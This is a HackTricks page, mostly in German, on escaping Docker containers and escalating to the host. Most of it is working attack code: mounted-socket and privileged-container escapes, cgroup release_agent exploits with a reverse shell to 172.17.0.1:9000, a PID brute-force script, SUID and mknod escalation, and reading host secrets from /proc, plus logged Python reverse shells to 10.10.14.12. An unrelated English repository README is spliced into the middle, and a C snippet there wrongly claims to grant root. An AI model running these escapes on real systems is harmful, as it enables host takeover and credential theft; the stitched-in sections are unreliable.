German - Ht
HackTricks Training Twitter Linkedin Sponsor

Docker Breakout / Privilege Escalation

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden. Heute Zugriff erhalten:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest

Automatische Enumeration & Flucht

  • linpeas: Es kann auch Container aufzählen

  • CDK: Dieses Tool ist ziemlich nützlich, um den Container zu durchsuchen, in dem Sie sich befinden, und sogar automatisch zu versuchen zu entkommen

  • amicontained: Nützliches Tool, um die Berechtigungen des Containers zu erhalten, um Möglichkeiten zu finden, daraus zu entkommen

  • deepce: Tool zum Aufzählen und Entkommen aus Containern

  • grype: Erhalten Sie die CVEs, die in der installierten Software im Image enthalten sind

Montierter Docker-Socket-Ausbruch

Wenn Sie irgendwie feststellen, dass der Docker-Socket im Docker-Container eingebunden ist, können Sie daraus entkommen. Dies geschieht normalerweise in Docker-Containern, die aus irgendeinem Grund eine Verbindung zum Docker-Daemon herstellen müssen, um Aktionen auszuführen.

#Search the socket
find / -name docker.sock 2>/dev/null
#It's usually in /run/docker.sock

In diesem Fall können Sie reguläre Docker-Befehle verwenden, um mit dem Docker-Daemon zu kommunizieren:

#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash

# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash

Falls der Docker-Socket an einem unerwarteten Ort ist, können Sie dennoch mit ihm kommunizieren, indem Sie das docker-Befehl mit dem Parameter -H unix:///pfad/zum/docker.sock verwenden.

Der Docker-Daemon könnte auch auf einem Port lauschen (standardmäßig 2375, 2376) oder auf Systemd-basierten Systemen kann die Kommunikation mit dem Docker-Daemon über den Systemd-Socket fd:// erfolgen.

Zusätzlich sollten Sie auf die Laufzeit-Sockets anderer High-Level-Laufzeiten achten:

  • dockershim: unix:///var/run/dockershim.sock

  • containerd: unix:///run/containerd/containerd.sock

  • cri-o: unix:///var/run/crio/crio.sock

  • frakti: unix:///var/run/frakti.sock

  • rktlet: unix:///var/run/rktlet.sock

  • ...

Missbrauch von Berechtigungen verhindern

Sie sollten die Berechtigungen des Containers überprüfen. Wenn er eine der folgenden hat, könnten Sie daraus entkommen: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN

Sie können die aktuellen Container-Berechtigungen mit den zuvor genannten automatischen Tools oder überprüfen:

capsh --print

Auf der folgenden Seite können Sie mehr über Linux-Fähigkeiten erfahren und wie Sie sie missbrauchen können, um Berechtigungen zu umgehen/zu eskalieren:

pageLinux Capabilities

Ausbruch aus privilegierten Containern

Ein privilegierter Container kann mit der Flagge --privileged erstellt werden oder indem bestimmte Abwehrmechanismen deaktiviert werden:

  • --cap-add=ALL

  • --security-opt apparmor=unconfined

  • --security-opt seccomp=unconfined

  • --security-opt label:disable

  • --pid=host

  • --userns=host

  • --uts=host

  • --cgroupns=host

  • Mount /dev

Die --privileged-Flagge senkt die Sicherheit des Containers erheblich, bietet uneingeschränkten Gerätezugriff und umgeht mehrere Schutzmechanismen. Für eine detaillierte Aufschlüsselung siehe die Dokumentation zu den vollständigen Auswirkungen von --privileged.

pageDocker --privileged

Privileged + hostPID

Mit diesen Berechtigungen können Sie einfach in den Namensraum eines als Root ausgeführten Prozesses im Host wie init (pid:1) wechseln, indem Sie einfach ausführen: nsenter --target 1 --mount --uts --ipc --net --pid -- bash

Testen Sie es in einem Container durch Ausführen:

docker run --rm -it --pid=host --privileged ubuntu bash

Privileged

Nur mit der privilegierten Flagge können Sie versuchen, auf die Festplatte des Hosts zuzugreifen oder versuchen, den release_agent oder andere Escapes zu missbrauchen.

Testen Sie die folgenden Umgehungen in einem Container, der ausgeführt wird:

docker run --rm -it --privileged ubuntu bash

Einbinden von Festplatte - Poc1

Gut konfigurierte Docker-Container werden den Befehl fdisk -l nicht zulassen. Auf einem falsch konfigurierten Docker-Befehl, bei dem die Option --privileged oder --device=/dev/sda1 mit Berechtigungen angegeben ist, ist es jedoch möglich, die Berechtigungen zu erhalten, um das Host-Laufwerk zu sehen.

Um also die Kontrolle über die Host-Maschine zu übernehmen, ist es trivial:

mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola

Und voilà! Sie können jetzt auf das Dateisystem des Hosts zugreifen, da es im Ordner /mnt/hola eingebunden ist.

Einhängen der Festplatte - Poc2

Innerhalb des Containers kann ein Angreifer versuchen, über ein beschreibbares hostPath-Volume, das vom Cluster erstellt wurde, weiteren Zugriff auf das zugrunde liegende Host-Betriebssystem zu erlangen. Im Folgenden sind einige übliche Dinge aufgeführt, die Sie im Container überprüfen können, um zu sehen, ob Sie diesen Angriffsvektor nutzen können:

### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger

### Check root UUID
cat /proc/cmdline
BOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300

# Check Underlying Host Filesystem
findfs UUID=<UUID Value>
/dev/sda1

# Attempt to Mount the Host's Filesystem
mkdir /mnt-test
mount /dev/sda1 /mnt-test
mount: /mnt: permission denied. ---> Failed! but if not, you may have access to the underlying host OS file-system now.

### debugfs (Interactive File System Debugger)
debugfs /dev/sda1

Privilegierte Eskalation durch Ausnutzung des vorhandenen release_agent (cve-2022-0492) - PoC1

Ursprünglicher PoC
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash

# Finds + enables a cgroup release_agent
# Looks for something like: /sys/fs/cgroup/*/release_agent
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
# If "d" is empty, this won't work, you need to use the next PoC

# Enables notify_on_release in the cgroup
mkdir -p $d/w;
echo 1 >$d/w/notify_on_release
# If you have a "Read-only file system" error, you need to use the next PoC

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
t=`sed -n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
touch /o; echo $t/c > $d/release_agent

# Creates a payload
echo "#!/bin/sh" > /c
echo "ps > $t/o" >> /c
chmod +x /c

# Triggers the cgroup via empty cgroup.procs
sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1

# Reads the output
cat /o

Privileged Escape durch Ausnutzung des erstellten release_agent (cve-2022-0492) - PoC2

Zweiter PoC
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

# Mounts the RDMA cgroup controller and create a child cgroup
# This technique should work with the majority of cgroup controllers
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix it
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# If mount gives an error, this won't work, you need to use the first PoC

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
# Unless the configuration explicitly exposes the mount point of the host filesystem
# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/172.17.0.1/9000 0>&1" >> /cmd
chmod a+x /cmd
#===================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Finde eine Erklärung der Technik in:

pageDocker release_agent cgroups escape

Privileged Escape unter Ausnutzung von release_agent ohne den relativen Pfad zu kennen - PoC3

In den vorherigen Exploits wurde der absolute Pfad des Containers im Dateisystem des Hosts offengelegt. Dies ist jedoch nicht immer der Fall. In Fällen, in denen Sie den absoluten Pfad des Containers im Host nicht kennen, können Sie diese Technik verwenden:

pagerelease_agent exploit - Relative Paths to PIDs
#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}

Die Ausführung des PoC innerhalb eines privilegierten Containers sollte eine ähnliche Ausgabe wie folgt liefern:

root@container:~$ ./release_agent_pid_brute.sh
Checking pid 100
Checking pid 200
Checking pid 300
Checking pid 400
Checking pid 500
Checking pid 600
Checking pid 700
Checking pid 800
Checking pid 900
Checking pid 1000
Checking pid 1100
Checking pid 1200

Done! Output:
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 11:25 ?        00:00:01 /sbin/init
root         2     0  0 11:25 ?        00:00:00 [kthreadd]
root         3     2  0 11:25 ?        00:00:00 [rcu_gp]
root         4     2  0 11:25 ?        00:00:00 [rcu_par_gp]
root         5     2  0 11:25 ?        00:00:00 [kworker/0:0-events]
root         6     2  0 11:25 ?        00:00:00 [kworker/0:0H-kblockd]
root         9     2  0 11:25 ?        00:00:00 [mm_percpu_wq]
root        10     2  0 11:25 ?        00:00:00 [ksoftirqd/0]
...

Privileged Escape durch den Missbrauch sensibler Mounts

Es gibt mehrere Dateien, die möglicherweise eingebunden sind und Informationen über den zugrunde liegenden Host preisgeben. Einige von ihnen können sogar etwas anzeigen, das vom Host ausgeführt werden soll, wenn etwas passiert (was einem Angreifer ermöglichen würde, aus dem Container auszubrechen). Der Missbrauch dieser Dateien kann Folgendes ermöglichen:

Sie können jedoch andere sensible Dateien auf dieser Seite überprüfen:

pageSensitive Mounts

Beliebige Mounts

In mehreren Fällen werden Sie feststellen, dass der Container ein Volume vom Host eingebunden hat. Wenn dieses Volume nicht korrekt konfiguriert wurde, könnten Sie möglicherweise auf sensible Daten zugreifen/Änderungen vornehmen: Geheime Informationen lesen, ssh authorized_keys ändern...

docker run --rm -it -v /:/host ubuntu bash

Privilege Escalation mit 2 Shells und Host-Mount

Wenn Sie als root innerhalb eines Containers Zugriff haben, der einen Ordner vom Host eingebunden hat, und Sie als nicht privilegierter Benutzer auf den Host entkommen sind und Lesezugriff auf den eingebundenen Ordner haben. Sie können eine bash suid-Datei im eingebundenen Ordner innerhalb des Containers erstellen und sie vom Host ausführen, um eine Privilegieneskalation durchzuführen.

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

Privilege Escalation mit 2 Shells

Wenn Sie als root innerhalb eines Containers Zugriff haben und als nicht privilegierter Benutzer auf den Host entkommen sind, können Sie beide Shells missbrauchen, um Privilegien auf dem Host zu eskalieren, wenn Sie die Fähigkeit MKNOD innerhalb des Containers haben (standardmäßig vorhanden), wie in diesem Beitrag erklärt. Mit dieser Fähigkeit darf der Root-Benutzer innerhalb des Containers Blockgerätedateien erstellen. Gerätedateien sind spezielle Dateien, die verwendet werden, um auf die zugrunde liegende Hardware und Kernelmodule zuzugreifen. Zum Beispiel ermöglicht die Blockgerätedatei /dev/sda den Zugriff, um die Rohdaten auf der Systemsfestplatte zu lesen.

Docker schützt vor dem Missbrauch von Blockgeräten in Containern, indem es eine cgroup-Richtlinie durchsetzt, die Blockgeräte-Lese-/Schreiboperationen blockiert. Wenn jedoch ein Blockgerät innerhalb des Containers erstellt wird, ist es über das Verzeichnis /proc/PID/root/ von außerhalb des Containers aus zugänglich. Dieser Zugriff erfordert, dass der Prozessbesitzer sowohl innerhalb als auch außerhalb des Containers gleich ist.

Exploitations-Beispiel aus diesem Bericht:

# On the container as root
cd /
# Crate device
mknod sda b 8 0
# Give access to it
chmod 777 sda

# Create the nonepriv user of the host inside the container
## In this case it's called augustus (like the user from the host)
echo "augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash" >> /etc/passwd
# Get a shell as augustus inside the container
su augustus
su: Authentication failure
(Ignored)
augustus@3a453ab39d3d:/backend$ /bin/sh
/bin/sh
$
# On the host

# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ ps -auxf | grep /bin/sh
root      1496  0.0  0.0   4292   744 ?        S    09:30   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root      1627  0.0  0.0   4292   756 ?        S    09:44   0:00      \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus  1659  0.0  0.0   4292   712 ?        S+   09:48   0:00                          \_ /bin/sh
augustus  1661  0.0  0.0   6116   648 pts/0    S+   09:48   0:00              \_ grep /bin/sh

# The process ID is 1659 in this case
# Grep for the sda for HTB{ through the process:
augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda
HTB{7h4T_w45_Tr1cKy_1_D4r3_54y}

hostPID

Wenn Sie auf die Prozesse des Hosts zugreifen können, werden Sie in der Lage sein, auf viele sensible Informationen zuzugreifen, die in diesen Prozessen gespeichert sind. Führen Sie den Testlabor aus:

docker run --rm -it --pid=host ubuntu bash

Zum Beispiel können Sie Prozesse auflisten, indem Sie etwas wie ps auxn verwenden und nach sensiblen Details in den Befehlen suchen.

Dann, da Sie auf jeden Prozess des Hosts in /proc/ zugreifen können, können Sie einfach ihre Umgebungsgeheimnisse stehlen, indem Sie ausführen:

for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=argocd-server-69678b4f65-6mmql
USER=abrgocd
...

Du kannst auch auf die Dateideskriptoren anderer Prozesse zugreifen und deren geöffnete Dateien lesen:

for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt
less fds.txt
...omitted for brevity...
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/2 -> /dev/pts/0
lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4

Du kannst auch Prozesse beenden und einen DoS verursachen.

Wenn du irgendwie privilegierten Zugriff auf einen Prozess außerhalb des Containers hast, könntest du etwas wie nsenter --target <pid> --all oder nsenter --target <pid> --mount --net --pid --cgroup ausführen, um eine Shell mit denselben ns-Beschränkungen (hoffentlich keine) wie dieser Prozess zu starten.

hostNetwork

docker run --rm -it --network=host ubuntu bash

Wenn ein Container mit dem Docker Host-Netzwerktreiber (--network=host) konfiguriert wurde, ist der Netzwerkstack dieses Containers nicht vom Docker-Host isoliert (der Container teilt den Netzwerk-Namensraum des Hosts) und der Container erhält keine eigene IP-Adresse zugewiesen. Mit anderen Worten, der Container bindet alle Dienste direkt an die IP-Adresse des Hosts. Darüber hinaus kann der Container ALLE Netzwerkdaten abfangen, die der Host über das gemeinsame Interface sendet und empfängt tcpdump -i eth0.

Beispielsweise können Sie dies verwenden, um den Datenverkehr zwischen Host und Metadateninstanz abzufangen und sogar zu fälschen.

Wie in den folgenden Beispielen:

Sie können auch auf Netzwerkdienste zugreifen, die an localhost gebunden sind, innerhalb des Hosts oder sogar auf die Metadatenberechtigungen des Knotens zugreifen (die möglicherweise von denen abweichen, auf die ein Container zugreifen kann).

hostIPC

docker run --rm -it --ipc=host ubuntu bash

Mit hostIPC=true erhalten Sie Zugriff auf die Inter-Process Communication (IPC)-Ressourcen des Hosts, wie z.B. Shared Memory in /dev/shm. Dies ermöglicht das Lesen/Schreiben, wenn dieselben IPC-Ressourcen von anderen Host- oder Pod-Prozessen verwendet werden. Verwenden Sie ipcs, um diese IPC-Mechanismen genauer zu inspizieren.

  • Inspektion von /dev/shm - Suchen Sie nach Dateien an diesem Speicherort für den gemeinsamen Speicher: ls -la /dev/shm

  • Inspektion vorhandener IPC-Einrichtungen - Sie können überprüfen, ob IPC-Einrichtungen mit /usr/bin/ipcs verwendet werden. Überprüfen Sie dies mit: ipcs -a

Wiederherstellen von Berechtigungen

Wenn der Systemaufruf unshare nicht verboten ist, können Sie alle Berechtigungen wiederherstellen, indem Sie ausführen:

unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff

Missbrauch von Benutzernamensräumen über Symlink

Die zweite Technik, die im Beitrag https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/ erklärt wird, zeigt, wie Sie Bind-Mounts mit Benutzernamensräumen missbrauchen können, um Dateien innerhalb des Hosts zu beeinflussen (in diesem speziellen Fall Dateien zu löschen).

Verwenden Sie Trickest, um einfach Workflows zu erstellen und zu automatisieren, die von den weltweit fortschrittlichsten Community-Tools unterstützt werden. Erhalten Sie noch heute Zugriff:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest

CVEs

Runc-Exploit (CVE-2019-5736)

Falls Sie docker exec als Root ausführen können (wahrscheinlich mit sudo), können Sie versuchen, Privilegien zu eskalieren, indem Sie aus einem Container ausbrechen und CVE-2019-5736 missbrauchen (Exploit hier). Diese Technik wird im Wesentlichen die /bin/sh Binärdatei des Hosts aus einem Container heraus überschreiben, sodass jeder, der docker exec ausführt, das Payload auslösen kann.

Passen Sie das Payload entsprechend an und erstellen Sie main.go mit go build main.go. Die resultierende Binärdatei sollte im Docker-Container platziert werden, um ausgeführt zu werden. Bei der Ausführung, sobald [+] Overwritten /bin/sh successfully angezeigt wird, müssen Sie Folgendes vom Host-Rechner ausführen:

docker exec -it <container-name> /bin/sh

Dies löst das Payload aus, das in der main.go-Datei vorhanden ist.

Für weitere Informationen: https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html

Es gibt auch andere CVEs, für die der Container anfällig sein kann. Eine Liste finden Sie unter https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Eigenständige Docker-Eskapade

Docker-Eskapade-Oberfläche

  • Namensräume: Der Prozess sollte über Namensräume vollständig von anderen Prozessen getrennt sein, sodass wir nicht mit anderen Prozessen interagieren können, die aufgrund von Namensräumen (standardmäßig nicht über IPCs, Unix-Sockets, Netzwerkdienste, D-Bus, /proc anderer Prozesse kommunizieren können).

  • Root-Benutzer: Standardmäßig ist der Benutzer, der den Prozess ausführt, der Root-Benutzer (jedoch sind seine Berechtigungen begrenzt).

  • Berechtigungen: Docker lässt die folgenden Berechtigungen: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep

  • Syscalls: Dies sind die Syscalls, die der Root-Benutzer nicht aufrufen kann (aufgrund fehlender Berechtigungen + Seccomp). Die anderen Syscalls könnten verwendet werden, um einen Ausbruch zu versuchen.

0x067 -- syslog
0x070 -- setsid
0x09b -- pivot_root
0x0a3 -- acct
0x0a4 -- settimeofday
0x0a7 -- swapon
0x0a8 -- swapoff
0x0aa -- sethostname
0x0ab -- setdomainname
0x0af -- init_module
0x0b0 -- delete_module
0x0d4 -- lookup_dcookie
0x0f6 -- kexec_load
0x12c -- fanotify_init
0x130 -- open_by_handle_at
0x139 -- finit_module
0x140 -- kexec_file_load
0x141 -- bpf

Docker Breakout Privilege Escalation

Overview

This repository contains a collection of techniques and scripts related to Docker breakout privilege escalation. These techniques can be used by attackers to escalate privileges and break out of a Docker container to gain unauthorized access to the host system.

Contents

  • Docker Breakout Techniques: Various techniques to break out of a Docker container and escalate privileges.

  • Scripts: Scripts to automate the Docker breakout privilege escalation techniques.

Disclaimer

This repository is for educational purposes only. The techniques and scripts provided here should only be used in authorized penetration testing engagements or for educational purposes.

Usage

Use the provided scripts with caution and only on systems that you are authorized to test. Unauthorized use of these techniques can lead to legal consequences.

Contribution

Contributions are welcome! If you have any new techniques or scripts related to Docker breakout privilege escalation, feel free to submit a pull request.

License

This repository is licensed under the MIT License. See the LICENSE file for more information.

0x029 -- pivot_root
0x059 -- acct
0x069 -- init_module
0x06a -- delete_module
0x074 -- syslog
0x09d -- setsid
0x0a1 -- sethostname
0x0a2 -- setdomainname
0x0aa -- settimeofday
0x0e0 -- swapon
0x0e1 -- swapoff
0x106 -- fanotify_init
0x109 -- open_by_handle_at
0x111 -- finit_module
0x118 -- bpf

Das folgende Programm demonstriert die Verwendung von Syscall-Nummern, um die syscall-Funktion direkt aufzurufen. Dies ermöglicht es einem Angreifer, die Sicherheitsmechanismen zu umgehen und Root-Rechte zu erlangen.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>

#define SYS_CALL_TABLE 0x8000A0E0

int main() {
    char *cmd = "/bin/sh";
    syscall(SYS_execve, cmd, NULL, NULL);
    return 0;
}
// From a conversation I had with @arget131
// Fir bfing syscalss in x64

#include <sys/syscall.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```

Container Breakout through Usermode helper Template

If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):

  • Find the path of the containers filesystem inside the host

  • You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit

  • Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens

  • You should be able to execute the trigger from inside the host

  • You need to know where the containers files are located inside the host to indicate a script you write inside the host

  • Have enough capabilities and disabled protections to be able to abuse that functionality

  • You might need to mount things o perform special privileged actions you cannot do in a default docker container

References

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

LogoAutomate OffSec, EASM, and Custom Security Processes | Trickest
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

PreviousDocker --privilegedNextrelease_agent exploit - Relative Paths to PIDs

Last updated